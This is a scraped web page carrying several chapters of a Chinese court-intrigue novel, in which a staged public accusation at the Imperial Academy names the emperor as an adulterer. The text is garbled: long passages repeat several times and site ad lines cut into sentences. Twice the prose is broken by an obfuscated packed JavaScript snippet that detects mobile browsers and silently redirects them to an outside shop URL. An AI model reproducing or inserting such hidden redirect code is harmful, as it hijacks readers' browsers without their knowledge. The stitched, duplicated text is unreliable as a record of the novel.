太后轻笑了一下,冷冷道:“他和哀家,早就离心了。也好,既如此,我也没必要给他留着体面了。只有哀家站出来,明确地维护戚氏,这件事才能闹大。” 沁芳低着头,大气不敢出。 太后说完,冷哼了 一声,姜玄不是要跟她对着干吗?那就试试。先从他的心头肉开始。 姜玄嘴上说薛氏只是打发时间的东西,好像他不在乎。可太后明白姜玄那都是托词,这么多年来,他没有对哪个女人这般上心,就连大皇子的圣母柳氏也比不上她。 他在乎的,她偏要动动看。 这日午时过半,天气阴沉沉的,国子监的钟声悠悠地响起。 士子们三三两两出来,有的去街角买吃食,有的站在槐树下讨论策论题目,有的揉着惺忪睡眼抱怨昨夜温书太晚。 “咦,那里怎么跪着一个女子?” 有人惊呼了一声。 众人循声望去,只见不远处的石阶上,孤零零跪着一个身穿素服的年轻女子。她低着头,肩膀微微颤抖,像一只受伤的雀鸟。 “走,过去看看!” 一群人呼啦啦围了过去。 走近了才看清,那女子生得清秀可人——柳眉杏眼,鼻梁秀挺,一张脸白净得像刚剥壳的鸡蛋。她穿着一身素净衣裳,越发衬得人清瘦可怜。眼尾和鼻头有些红红的,像是才哭过不久的样子。 “小娘子,你怎么跪在这里哭?”一个年纪稍长的士子上前,低声劝慰,“若是告状,该去衙门才是。” 那女子慢慢抬起头。 一双眼睛水光盈盈,睫毛上还挂着泪珠。她拿起帕子沾了沾眼角,哽咽着道:“我的冤屈只怕去了衙门也告不倒,反倒误了自己的性命。” 声音又软又糯,带着哭腔,听得人心都化了。 “我哥哥也是个读书人,永熙二十七年的进士……” 说到“进士”两个字,她的眼泪又涌了出来,扑簌簌往下落。 “姑娘,你哥哥既是进士出身,有什么冤屈不能去衙门说?” “就是,你快说说,到底什么事?” 美人落泪更显得凄楚,围观的士子们心都软了,七嘴八舌地问着。 “我哥哥一年半前去世了,”她的声音又轻又颤,“原以为真是意外,可近来我才知道,竟另有内情……” 她顿了顿,眼泪又涌了出来。 “我意外发现,原来我嫂子竟与人私通,我哥哥的死,原是他们设计的……” “什么?!” 人群里爆发出惊呼。 那女子哭得上气不接下气:“嫂子出身国公府,我们家原本只是通州普通人家,父亲前年也去世了,实在无人做主,呜呜……” 她说不下去了,伏在地上,肩膀剧烈地抖动着。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上,肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上,肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上,肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260245|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上,肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上,肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 “岂有此理!” 一个年轻的士子猛地攥紧拳头,脸涨得通红:“这可是京城,天子脚下!怎么会有这种**?!还有没有天理了!” “就是!”另一个接道,“姑娘你莫怕!国公府出身怎么了?就是天子犯法,也当与庶民同罪!” “对!与庶民同罪!” “姑娘莫哭!咱们去顺天府击鼓鸣冤!我就不信了,府尹大人敢包庇!” 群情激愤,声浪一浪高过一浪。 那女子抬起头,泪眼婆娑地看着这些素不相识却愿意为她出头的年轻人,嘴唇动了动,像是有千言万语堵在喉头。 最后,她只是伏在地上,重重磕了一个头。 额头磕在青石板上,发出“咚”的一声闷响。 “多谢……多谢诸位公子……” 戚倩蓉伏在地上,肩膀抖得更厉害了。 人群中,有人悄悄交换了一个眼神。 那是杨夫人安排的人。 他们混在士子中间,等的就是这一刻。 “那不是邹御史家的马车吗?” 众人循声望去,只见远处的石板路上,一辆青帷马车正缓缓驶来。 “邹御史?是那个铁面无私的邹子墨邹大人?!” “太好了!有邹大人替这姑娘做主,任她什么公府千金,邹大人都不会怕的!” “快!拦住马车!” 几个热心的士子已经冲了出去,张开双臂拦在路中央。 马车停了下来。 第295章 帮帮她吧 车帘掀开一角露出一张清瘦的脸。 邹子墨今年五十有二做御史已有七八年参过的人从皇亲国戚到朝中权贵没有一百也有八十。他的脸很瘦颧骨高耸一双眼睛却亮得惊人像鹰似的看人的时候能把人看穿。 “何事拦车?”他的声音不高却自带一股威压。 士子们七嘴八舌地把事情说了指着不远处跪着的戚倩蓉。 邹子墨顺着他们的手指看过去眉头微微蹙起。 他下了车迈着四方步不紧不慢地走到戚倩蓉跟前。 戚倩蓉低着头只看见一双黑色的官靴停在自己面前。 “姑娘你说你哥哥是进士生前可曾授官做的什么职务?人又是怎么没的?” 声音平平的听不出任何情绪。 戚倩蓉抬起头对上那双鹰隼般的眼睛心里打了个突。 可她不能退缩。 她深吸一口气按照杨夫人教的 “大人我哥哥生前在鸿胪寺做的鸿胪寺丞。前年……前年因醉酒**街头。” 邹子墨的眼睛微微眯起。 “一个官员**街头衙门没有验尸吗?” “验了。”戚倩蓉的眼泪又涌了出来“说是醉酒呕吐物堵住了口鼻没有及时清理窒息致死。我年纪小他们让我签字画押我便签字画押了也没有另外找人验尸。” 邹子墨沉默了片刻。 “那你为何说你哥哥的死另有隐情?” 戚倩蓉抬起泪眼声音哽咽: “因为……因为我发现我嫂子早有了私情。” 她顿了顿像是想起了什么极其痛苦的事整个人都在发抖。 “大人!父孝期间做子女的是要守孝三年的!不能喝酒不能听戏不能近女色!我哥哥从小就孝顺他怎么可能出去喝酒?怎么可能醉死在街头?!” 她伏在地上重重磕了一个头: “必定是有人设计!必定是有人把他骗出去害**他!大人求您明鉴!” 额头磕在青石板上发出“咚”的一声闷响。 再抬起头时额头上已经渗出了血。 邹子墨看着她目光里闪过一丝复杂的情绪。 他做了二十三年御史见过太多申冤的人。有真冤的有假冤的有被人推出来当枪使的。 眼前这个女子是真冤还是假冤? 邹子墨还不确定。但有一件事他可以确定——她说的 你的朋友正在书荒,快去帮帮他吧 那些话,若是真的,那这案子,小不了。 邹子墨的目光落在戚倩蓉脸上,声音不高,继续问道:“即便你嫂子有了私情,你怎么知道是你哥哥生前还是死后有的?” 戚倩蓉心里一紧,幸好这问题杨夫人教过她,她垂下眼,做出悲戚模样,声音哽咽道: “大人明鉴,我哥哥死的时候,是我带着人给他收敛的。” 她顿了顿,像是在回忆那不堪回首的场景。 “当时哥哥身上……有一个精致的香囊。那香囊的料子极好,绣工也精细,我从没见过那样的东西。我年纪小,不懂事,只当是哥哥生前的心爱之物,便留了下来,做个念想。” 她的眼泪又涌了出来。 “后来……后来嫂子苛待我与母亲,月例银子总是一拖再拖,有时拖上两三个月都不给。有一次母亲病了,我没办法,便想着把那香囊拿去当了,换几两银子应急。” 说到这里,她的声音开始发颤。 “谁知……谁知当铺的掌柜看了一眼,脸色就变了。他把香囊推回来,说什么都不敢收。我问他为什么,他只说……只说是御用之物,不敢收。” “御用之物”四个字一出,邹子墨的脸色微微一变。 周围的士子们也都面面相觑,窃窃私语声像潮水一样涌起。 戚倩蓉抬起头,泪眼婆娑地看着邹子墨: “大人,我当时吓坏了,不知道那香囊到底是什么来路。可我心里有了疑虑,便……” 她咬了咬嘴唇,像是在下一个很大的决心。 “便趁嫂子不在,从她的院子里悄悄拿了几样东西出来。” 她从身旁的小包袱里掏出 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她抬起头,满脸泪痕:“可我不能眼睁睁看着我哥哥枉死!他是那么好的一个人,待我那么好,待母亲那么孝顺……他**,连个公道都没有,我这个做妹妹的,还有什么脸活着?!” 她又磕了一个头。一下,两下,三下…… 额头磕在青石板上,发出“咚咚”的闷响。再抬起头时,那道白皙的额头上已经渗出了血,殷红的血迹顺着眉心往下淌,衬得那张苍白的脸触目惊心。 “求大人替我和寡母做主!求大人替我那枉死的哥哥做主!” 她声嘶力竭地喊着,泪水混着血水流了满脸。 人群里,有士子看不下去了。 “邹大人!”一个年轻士子冲上前,眼眶通红,“您帮帮她吧!” “就是!您要是都不敢帮她,这位姑娘还能去找谁帮忙?” “邹大人!您可是御史!铁面无私的邹御史!” “帮帮她!帮帮她!” 声浪一浪高过一浪,士子们纷纷出言支持。 邹子墨却依旧没有马上答应,垂着眼不知在想什么。 第296章 证物 就在这时,人群后头忽然传来一个声音: “都围在这里做什么?还不快些去吃饭。” 众人回头,只见一个穿着深青色官袍的中年男子正负手走来。他面容清瘦,留着三缕长髯,一双眼睛温和却深沉,正是国子监祭酒崔古。 而=跟他同行的,是一个穿着绛色**袍的中年男人,正是宗人府宗令、裕王姜成。 邹子墨看见二人,忙上前拱手行礼。 “裕王爷、崔大人。” 姜成点了点头,目光落在地上那个满头血污的女子身上,眉头微微皱起。 “这是怎么回事?” 邹子墨三言两语把事情的经过说了。 姜成听完,沉默了片刻,上前一步,走到戚倩蓉跟前,居高临下地看着她。 他的目光不似邹子墨那般锐利,却带着另一种压迫感。 “姑娘,”他的声音不高却透着股威严,“你方才说,你哥哥身上有一个香囊。那香囊,你带了吗?” 戚倩蓉浑身一颤,连忙点头:“带……带了!” 她从袖中取出那只香囊,双手捧着,高高举过头顶。 姜成接过来,他先看了看香囊的料子——那是江宁织造的贡缎,寻常人家见都见不到。他又打开香囊,倒出里面的香饼,凑到鼻端闻了闻。 那香气清洌幽远,不似寻常沉檀,而是一种说不出的奇香,里面有大量的龙脑香。 姜成的脸色微微变了,他抬起头,与崔古交换了一个眼神。 崔古接过香囊,同样看了看,闻了闻,脸色也变了。 他又递给邹子墨,三人的目光在空中交汇了一瞬——那种“果然如此”的眼神,那种“这下麻烦了”的眼神。 姜成轻咳一声,把香囊递还给戚倩蓉。 “除此之外,”他的声音比方才低了几分,“还有什么别的东西吗?” 戚倩蓉连忙把那个小包袱打开,一样一样往外拿。 凝神熏香、御药、澄云社花笺。 每拿出一件,姜成的脸色就凝重一分。 澄云社的花笺,纸张原料是野楮皮,只在徽州几处山谷里有几棵,一张澄云社花笺需经过七十二道工序,历时近三个月,全程由内务府监管,是外头仿制都仿不出来的。 澄云社的花笺这两年全部供给宫中…… 姜成看着这些东西,对着戚倩蓉说了一句:“既有冤,又有证据,自去顺天府击鼓鸣冤吧。” 姜成那句“顺天府击鼓鸣冤”一出口,人群 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 里就炸了锅。 戚倩蓉眼泪哗哗地往下流,瞧着很是可怜。 就在这时,一个年轻士子猛地从人群中冲了出来。 他生得浓眉大眼,面色黧黑,一看就是那种直来直去的性子。他几步跨到姜成面前,抱拳拱手,声音朗朗: “王爷,学生斗胆,有一言相问! 姜成眉头微皱:“你是何人? “学生燕奉,国子监学生! 姜成点了点头:“有何话说? 燕奉抬起头,目光直视姜成,毫无惧色: “王爷方才说,让这位姑娘自去顺天府报官——学生敢问,这是为何? 姜成没有回答。 燕奉却不肯罢休,他指着地上那些东西,声音越来越高: “这位姑娘拿出来的东西,当铺都不敢收,说是御用之物!御用之物意味着什么?意味着那奸夫是皇族之人,是宫里的人! 他顿了顿,环顾四周,见所有人都屏息听着,便继续道: “宗人府是做什么的?就是管皇族事务的!监督、审查、惩处,全是宗人府的职责!如今这案子明摆着牵扯皇族,王爷却把人往顺天府推——学生斗胆问一句,王爷这是要包庇吗? “包庇两个字,像一块石头砸进平静的水面,激起千层浪。 人群里顿时爆发出阵阵附和声: “燕兄说得对! “宗人府不管,让顺天府管?顺天府敢接吗? “这不就是推诿吗? “什么推诿,分明就是包庇! “王爷,您不能这样!这位姑娘的冤屈您都看见了! 声浪一浪高过一浪,士子们纷纷上前,把姜成围在中间。 姜成的脸色微变,这些士子,不是寻常百姓。他们是将来的进士、未来的朝臣、天下的喉舌。今日若压不下去,明日他们就能**,后日就能传遍京城。 姜成知道,自己已经被架起来了,架得高高的,下不来了,姜成有些懊悔,今日不该来国子监的。 他看了看阴沉的天色,只得转向崔古,苦笑一声:“崔大人,看来本王只得借你们的彝伦堂,审一审这案子了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264781|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 崔古这才抬起眼,点了点头:“王爷请便。 姜成转身,对身边的随从使了个眼色。 随从会意,悄悄从人群中退了出去,自去禀告宫里。 这是国子监最大的讲堂,平日里用来讲经论道、考校功课。此刻,堂上正中摆了一张长案,姜成端 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 坐其后,左侧是崔古,右侧是邹子墨。 堂下,戚倩蓉跪着。 堂外,黑压压挤满了士子——方才集贤门那一幕已经传遍了整个国子监,谁都不想错过这场大戏。 姜成清了清嗓子,开始问话。 “你叫什么名字?” “民女戚倩蓉。” “哪里人氏?” “通州人氏。” “你父亲叫什么?生前做何营生?” “家父戚炳春,生前曾在工部做大匠。” 姜成点了点头,又问:“你哥哥叫戚少亭,永熙二十七年进士,曾任鸿胪寺丞,是也不是?” “是。” “他何时娶的你嫂子?” “永熙二十七年底。” “谁做的媒人?你家如何攀上的国公府?” 戚倩蓉愣了一下。 媒人? 这……这和案子有什么关系? 可姜成问的一本正经,她只得答道:“哥哥曾帮过嫂子,后来请得王家巷的媒婆上门提亲的。民女那时还小,许多事情也不甚清楚。” 姜成点了点头,又问:“你嫂子嫁过来时,带了哪些嫁妆?你可见过嫁妆单子?” 戚倩蓉彻底愣住了。 “民女……民女没见过嫁妆单子。只知道嫂子带了不少东西,有几箱子衣裳料子,还有一些首饰……”” 姜成“嗯”了一声,又问:“你哥哥生前可有姬妾?可有外室?可曾与什么人结怨?” 一个接一个问题,像连珠炮一样砸过来。 一刻钟过去了。 两刻钟过去了。 小半个时辰过去了。 堂外的士子们开始躁动起来。 “王爷这是在审案还是在查户口?” “就是!问这些有什么用?” “嫁妆、首饰、姬妾、外室——这和那奸夫有什么关系?” 议论声越来越大。 第297章 谁指使你的 正在这时,彝伦堂外传来一阵急促的脚步声。 所有人都回头望去。 只见一个穿着灰色短褐的随从,满头大汗地跑进来,气喘吁吁道: “启禀王爷、各位大人,太后娘娘派人来了!” 姜成心头一松。 太后派人来了。 太后与皇帝关系匪浅,皇帝今年又娶了宋家女儿为妃,可见两家关系仍是紧密。太后派人来,定是来帮皇上圆场的。 不多时,来人穿过人群,走进彝伦堂。是一个穿着青灰色宫装的女子,三十来岁,面容端肃,步履沉稳。她走到堂前,对着姜成、崔古、邹子墨福了福身。 “女官卢沁芳,给王爷、两位大人请安。” 姜成忙道:“卢司正不必多礼,不知太后娘娘有何吩咐?” 沁芳直起身,声音朗朗:“太后娘娘听闻国子监门前有人来申冤,且事关皇族,命我过来看看。” 说着,她顿了顿,才又一字一字道:“太后娘娘说了——请王爷、大人们秉公执法,不能因那人的身份是皇族就网开一面,让百姓含冤。” 姜成脸色变了变,一时不知该说什么。心中疑惑,难道是传话的人没有把话说清楚,太后竟还不知道涉嫌通奸的是皇帝吗? 不等姜成想出对策,堂外的士子们已经炸开了锅。 “听见没有!太后娘娘说了,秉公执法!” “不能让百姓含冤——这话说得好!” “太后娘娘都发话了,王爷您还等什么?” 姜成站在那里,进退两难。 他深吸一口气,转向跪在地上的戚倩蓉。 “戚姑娘,如今宗人府、都察院、宫中的人都在这里。”他的声音沉沉的,“你可知道,若是诬告,会是什么下场?” 戚倩蓉哽咽着道:“民女知道。民女豁出命来,也要为哥哥申冤!” 姜成盯着她看了片刻,终于点了点头。“既如此,你先把物证给卢司正看一看吧。” 戚倩蓉依言将证物捧给沁芳,沁芳接过来看了两眼,低低“咦”了一声,又像是忽然反应过来,赶紧掩饰道:“东西的确精美,说不准是宫里赏赐出去的。这位姑娘,你可见过那人的模样?” 戚倩蓉点了点头:“见过。” 邹子墨蹙眉道:“你嫂子的奸夫,你在哪里见过?” 戚倩蓉道:“自从知道嫂子外面有人后,我经常夜不能寐,便会偷偷藏在嫂子院子前的花园里,瞧见那人数次进出我嫂子的院子。” 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 国子监最不缺的就是这些东西。很快,一张长桌被抬到堂中央,上好的澄心纸铺开,松烟墨研好,几支大小不一的毛笔一字排开。 申元恺走到桌前,提起笔,看向戚倩蓉: “姑娘,你慢慢说。先说脸型。” 戚倩蓉闭上眼睛,像是在回忆那夜的场景。 她确实在回忆。 回忆杨夫人给她看的那幅画像。 “脸型……是长方脸,下巴微方,有点翘。” 申元恺的笔尖落在纸上,轻轻勾勒。 “眉毛呢?” “眉毛很浓,眉峰很高,不是弯弯的那种,是剑眉,有点往上挑。” 笔尖移动。 …… 堂内外一片寂静。 所有人都在屏息看着那张画像一点一点成形。 随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 国子监最不缺的就是这些东西。很快,一张长桌被抬到堂中央,上好的澄心纸铺开,松烟墨研好,几支大小不一的毛笔一字排开。 申元恺走到桌前,提起笔,看向戚倩蓉: “姑娘,你慢慢说。先说脸型。” 戚倩蓉闭上眼睛,像是在回忆那夜的场景。 她确实在回忆。 回忆杨夫人给她看的那幅画像。 “脸型……是长方脸,下巴微方,有点翘。” 申元恺的笔尖落在纸上,轻轻勾勒。 “眉毛呢?” “眉毛很浓,眉峰很高,不是弯弯的那种,是剑眉,有点往上挑。” 笔尖移动。 …… 堂内外一片寂静。 所有人都在屏息看着那张画像一点一点成形。 随着戚倩蓉描述完,申元恺落下最后一笔。 “画好了。”他说。 围在边上的士子们迫不及待地凑过去看。 有人脱口而出:“倒是一副好相貌,只可惜是个衣冠禽兽!” “拿过来,让本王看看。” 姜成的声音不高,却让所有人安静下来。 画像被恭恭敬敬递到他面前。 姜成接过,低头看去,一旁的崔古和邹子墨也偏过头去看。 待看清画中人的长相,三人都有些许的失神。 三人的反应,让堂外的士子们更加好奇。 “到底是谁啊?让我们看看!” “就是!别光你们几个看!” 就在这时,沁芳忽然上前一步将画像拿了过来,低头细看。 她看了一眼那张画像,脸色瞬间变得煞白,然后猛地转过身,对着戚倩蓉厉声道: “怎么会是皇上?!这怎么可能!戚氏,是不是有人指使你这么做?!故意诬陷皇上?说,是谁指使的?!” 她的声音尖厉,像一把刀,划破了彝伦堂的寂静。 所有人都愣住了。 那张画像是……皇上? 没有人说话。 没有人动。 天气更加阴沉,风起,从敞开的门吹进来,吹得案上的宣纸哗哗作响,雨终于要下了。 燕奉眼睛一亮,猛地转向人群: “申兄!申兄何在?” 人群中一阵骚动,一个清瘦的士子被人推了出来。 “这是申元恺申兄,咱们国子监的丹青第一!”燕奉拉着他的袖子,把他拽到前面,“申兄,你来说,若是让这位姑娘口述,你能不能把那人画下来?” 申元恺看了看戚倩蓉,又看了看燕奉,点了点头:“只要描述得够细,便能画。” “太好了!”燕奉一拍大腿,转身对着堂上的姜成拱手道,“王爷!这位姑娘既然认得那奸夫,不如让她口述,申兄作画!也叫大家看看,如此寡廉鲜耻之人,到底长什么样子!” 姜成眉头微皱,正要开口,堂外的士子们已经沸腾起来: “对!画出来!” “让大家都看看!” “看看到底是什么人,敢做出这种事!” 姜成与邹子墨交换了一个眼神,正欲作答,一旁的沁芳已经张开说道:“这倒是个好办法,如此一来,人证物证俱在,也不会冤枉了谁。那就请这位申士子作画吧,早些知道是谁,我也好给太后娘娘回话。” “也罢。来人,备纸、笔、墨。” 国子监最不缺的就是这些东西。很快,一张长桌被抬到堂中央,上好的澄心纸铺开,松烟墨研好,几支大小不一的毛笔一字排开。 申元恺走到桌前,提起笔,看向戚倩蓉: “姑娘,你慢慢说。先说脸型。” 戚倩蓉闭上眼睛,像是在回忆那夜的场景。 她确实在回忆。 回忆杨夫人给她看的那幅画像。 “脸型……是长方脸,下巴微方,有点翘。” 申元恺的笔尖落在纸上,轻轻勾勒。 “眉毛呢?” “眉毛很浓,眉峰很高,不是弯弯的那种,是剑眉,有点往上挑。” 笔尖移动。 …… 堂内外一片寂静。 所有人都在屏息看着那张画像一点一点成形。 